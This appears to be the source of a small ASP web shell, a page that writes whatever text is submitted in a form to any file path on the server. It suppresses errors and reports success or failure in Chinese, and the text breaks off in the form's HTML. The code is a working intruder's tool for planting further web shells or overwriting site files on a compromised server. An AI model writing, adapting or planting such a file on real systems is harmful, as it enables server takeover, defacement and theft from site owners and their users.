<% on error resume next testfile=Request.form("filepath") msg=Request.form("message") if Trim(request("filepath"))<>"" then set fs=server.CreateObject("scripting.filesystemobject") set thisfile=fs.CreateTextFile(testfile,True) thisfile.Write(""&msg& "") if err =0 Then response.write "<font color=red>成功!</font>" else response.write "<font color=red>失败!</font>" end if err.clear thisfile.close set fs = nothing End if %> <form method="POST" ACTION=""> <input type="text"